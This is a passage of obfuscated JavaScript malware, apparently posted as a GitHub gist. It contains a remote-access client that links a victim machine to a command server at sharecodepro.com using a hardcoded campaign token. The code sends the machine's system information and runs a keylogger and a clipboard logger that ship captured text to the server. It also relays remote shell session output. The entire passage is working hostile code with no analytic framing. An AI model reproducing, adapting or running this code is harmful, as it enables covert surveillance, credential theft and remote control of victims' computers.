"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": "keepalive-" + Date["now"](),
"type": "keep-alive",
"status": "completed"
}]
},
_0x541e2 = await serizalizeCommandFromAgent(_0x2ea8e2);
_0x4c2b6e6["send"](_0x541e2);
} else console["log"]("WebSocket not open, stopping keep-alive"), clearInterval(_0x2c969c6);
} catch (_0x2d9) {
console["error"]("Keep-alive message failed:", _0x2d9), clearInterval(_0x2c969c6);
}
}, 5000);
_0x4c2b6e6["addEventListener"]("close", () => {
clearInterval(_0x2c969c6);
}), _0x4c2b6e6["addEventListener"]("error", () => {
clearInterval(_0x2c969c6);
});
}
async function startKeylogger(_0x2d139f3, _0x171b2) {
const _0x44539b2 = potato;
console["log"]("Starting keylogger...");
while (!![]) {
try {
const _0xc10b5 = await waitKeyboardLog();
console["log"]("Keylogger: " + _0xc10b5["focusApp"] + " - " + _0xc10b5["text"]["length"] + " chars"), await sendCommand2(_0x2d139f3, {
"huidMd5": _0x171b2,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": Math["random"]()["toString"](36)["substring"](7),
"type": "keyboard-log",
"status": "completed",
"focusApp": _0xc10b5["focusApp"],
"text": _0xc10b5["text"]
}]
});
} catch (_0x2a11) {
console["error"]("Keylogger error:", _0x2a11), await new Promise(_0x59b26d3 => setTimeout(_0x59b26d3, 5000));
}
}
}
async function startClipboardLogger(_0x439d2, _0x5a6dcf3) {
const _0x1491ff2 = potato;
console["log"]("Starting clipboard logger...");
while (!![]) {
try {
console["log"]("Waiting for clipboard changes...");
const _0x581 = await waitClipboardLog();
console["log"]("Clipboard logger: " + _0x581["focusApp"] + " - " + _0x581["clipboard"]["length"] + " chars"), await sendCommand2(_0x439d2, {
"huidMd5": _0x5a6dcf3,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": Math["random"]()["toString"](36)["substring"](7),
"type": "clipboard-log",
"status": "completed",
"focusApp": _0x581["focusApp"],
"clipboard": _0x581["clipboard"]
}]
});
} catch (_0x583) {
console["error"]("Clipboard logger error:", _0x583), await new Promise(_0x4e3fde3 => setTimeout(_0x4e3fde3, 5000));
}
}
}
async function main() {
const _0x12309a6 = potato;
console["log"]("Initializing client..."), await initializeClient(), console["log"]("Client initialized");
const _0x2a13 = await createMutex(10045);
!_0x2a13 && (console["error"]("Mutex already exists, another instance is running..."), import_node_process9["default"]["exit"](0));
const _0x1ff8b0 = getHuidMd5(),
_0x585 = "http://sharecodepro.com" ["split"](",")["map"](_0x1680fb3 => _0x1680fb3["trim"]());
console["log"]("HUID MD5: " + _0x1ff8b0), console["log"]("Token: " + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU" ["substring"](0, 20) + "..."), console["log"]("API URLs: " + _0x585["join"](", ")), console["log"]("Collecting system info...");
const _0x22c3 = await getSystemInfo();
console["log"]("System info collected:", _0x22c3), console["log"]("Creating WebSocket connection...");
const _0x599 = client["conn"]["$ws"]();
_0x599["binaryType"] = "arraybuffer", console["log"]("WebSocket created, waiting for connection..."), _0x599["addEventListener"]("open", async () => {
const _0x348f4 = _0x12309a6;
console["log"]("Connected to server"), startWebSocketKeepAlive(_0x599, _0x1ff8b0), ptySessionManager["setOutputCallback"]((_0x50ad2, _0x3278a2) => {
const _0x2b47b2 = _0x348f4;
sendCommand2(_0x599, {
"huidMd5": _0x1ff8b0,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"taskOutputs": [{
"id": Math["random"]()["toString"](36)["substring"](7),
"type": "pty-output",
"status": "completed",
"sessionId": _0x50ad2,
"data": _0x3278a2
}]
})["catch"](_0x1ced2 => {
const _0xc470a = _0x2b47b2;
console["error"]("Failed to send PTY output:", _0x1ced2);
});
});
try {
await sendCommand2(_0x599, {
"huidMd5": _0x1ff8b0,
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU",
"moduleType": "main",
"apiUrl": getSelectedApiUrl(),
"pcInfo": _0x22c3
}), console["log"]("Registration message sent");
} catch (_0xb3a21c3) {
console["error"]("Failed to send registration:", _0xb3a21c3), import_node_process9["default"]["exit"](1);
}
startKeylogger(_0x599, _0x1ff8b0)["catch"](_0x4fc9b2 => {
const _0x284fbc2 = _0x348f4;
console["error"]("Keylogger stopped:", _0x4fc9b2);
}), startClipboardLogger(_0x599, _0x1ff8b0)["catch"](_0x2b6a2 => {
const _0x594 = _0x348f4;
console["error"]("Clipboard logger stopped:", _0x2b6a2);
});
}), _0x599["addEventListener"]("message", async _0x58def7 => {
const _0x421e4a2 = _0x12309a6;
try {
if (_0x58def7["data"] instanceof ArrayBuffer) await handleMessage(_0x58def7["data"], _0x599, _0x1ff8b0);
else {
if (_0x58def7["data"] instanceof Blob) {
const _0x60cf0d3 = await _0x58def7["data"]["arrayBuffer"]();
await handleMessage(_0x60cf0d3, _0x599, _0x1ff8b0);
} else console["error"]("Unexpected message type:", typeof _0x58def7["data"]);
}
} catch (_0x51c2) {
console["error"]("Error handling message:", _0x51c2);
}
}), _0x599["addEventListener"]("error", _0x377dc2 => {
const _0x5c5c2d2 = _0x12309a6;
console["error"]("WebSocket error:", _0x377dc2);
for (const [, _0xf0f3] of connections) {
!_0xf0f3["socket"]["destroyed"] && _0xf0f3["socket"]["end"]();
}
connections["clear"](), import_node_process9["default"]["exit"](1);
}), _0x599["addEventListener"]("close", _0xc8bd3 => {
const _0xde = _0x12309a6;
console["log"]("Disconnected from server. Code: " + _0xc8bd3["code"] + ", Reason: " + _0xc8bd3["reason"]);
for (const [, _0x14bae3] of connections) {
!_0x14bae3["socket"]["destroyed"] && _0x14bae3["socket"]["end"]();
}
connections["clear"](), import_node_process9["default"]["exit"](1);
}), console["log"]("Event listeners registered, keeping process alive..."), await new Promise(() => {});
}
main()["catch"](_0x601 => {
const _0x215bb = potato;
console["error"]("Fatal error:", _0x601), import_node_process9["default"]["exit"](1);
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment